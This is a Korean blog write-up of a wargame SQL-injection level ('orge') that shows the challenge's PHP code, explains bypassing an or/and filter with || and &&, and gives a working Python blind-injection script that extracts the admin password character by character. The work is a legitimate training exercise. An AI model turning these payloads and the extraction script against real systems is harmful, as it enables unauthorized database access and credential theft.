일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- dplyr
- sample_n()
- samp;e_frac()
- arrange()
- mutate()
- proc contents
- filter()
- select()
- distinct()
- groupe_by()
- summarize()
- 대칭형 알고리즘
- AES
- Today
- Total
Gae Ko's Blog
los : orge 본문
[코드분석]
<?php
include "./config.php";
login_chk();
dbconnect();
↑DB연결을 위한 코드
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
↑preg_match를 통한 필터링
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
↑쿼리 실행
$_GET[pw] = addslashes($_GET[pw]);
↑addslashes함수 작동
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
↑문제의 포인트
[내 풀이]
preg_match를 통해 or 과 and가 들어간 입력값을 필터링해주고
pw의 값을 GET방식으로 받고 이때 입력받은 pw와 쿼리실행결과의 pw가 동일해야 문제가 풀린다.
이 문제는 los : orc와 los : darkelf 가 결합된 유형이다.
즉, Blind SQL injection을 통해 데이터베이스에 저장된 admin의 pw를 알아내서 url로 입력해주면 된다.
다만 or 과 and 를 사용할 수 없으므로 우회하는 문자열을 사용해서 Blind SQL injection하면 된다.
앞에서 해봤던 것처럼 substr함수와 ascii함수를 이용해 id='admin'인 pw의 첫번째 문자를 알아내보았다.
id='admin'인 pw의 첫번째 문자가 6 임을 알 수 있다. ( char(54)=6 이기 때문 )
pw의 길이를 구하고나서 위 방법으로 substr함수의 두번째 인자의 수에 +1씩 하여 = 뒤에 다른 숫자를 넣어가며 해당자리에 맞는 pw의 문자를 알아낼 수 있다.
하나씩 손으로 알아내는건 힘드므로 자동화툴을 이용한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | import urllib2, urllib, requests, time flag = '' length= 0 session = dict(PHPSESSID="mq5j0ff4ss5lk7v1bvfru3osn7") # find the length of PW for i in range(0, 20): try: r = requests.post("https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1' %7c%7c id='admin' %26%26 length(pw)="+str(i)+"%23", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: #true length = i break print "[+] Length of admin pw : " + str(length) for j in range(1, length+1): for i in range(48, 126): try: r = requests.post("https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1' %7c%7c id='admin' %26%26 substr(pw,"+str(j)+",1) ='"+ str(chr(i)), cookies=session) except: print "exception" continue if 'Hello admin' in r.text: flag = flag + chr(i) print "[+] finding pw : " + flag break time.sleep(0.1) print "[+] pw of admin : " + flag | cs |
앞에서 설명한 것처럼
session 변수를 이용해 새션아이디를 저장해주어 로그인상태를 유지시켜준다.
그리고 반복문과 length 함수를 이용해 pw의 길이를 알아낸다.
그리고 이중반복문과 substr함수를 이용해 pw의 정확한 값을 구한다.
이 코드를 실행하면
코드대로 맨 처음에 pw의 길이를 출력해주고 맨 마지막에 총 pw를 출력해준다.
결론 : id가 admin인 pw는 6c864dec
SUCCESS !!!
[참고]
마지막 결과에 Hello guset 라고 나오지 않는 이유는
첫번째 실행 쿼리에서 조건이 id='guest'이고 pw='(id가 admin인 pw값)'이 되므로 false(거짓)이 되기 때문이다.
그리고 My SQL 은 대소문자를 구분하지 않고 PHP에서는 대소문자를 구분하기 때문에
pw의 값이 6C864DEC 라고 나와서 url에 그 값을 그대로 넣어서 fail되는 경우엔 대소문자때문임을 생각하자.
민지언니말에 의하면 대문자인지 소문자인지 구별법은 찍는 방법 뿐이라 하셨다. ㅎㅅㅎ
'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글
los : vampire (0) | 2017.08.17 |
---|---|
los : troll (0) | 2017.08.16 |
los : darkelf (0) | 2017.08.12 |
los : wolfman (0) | 2017.08.12 |
los : orc (0) | 2017.08.12 |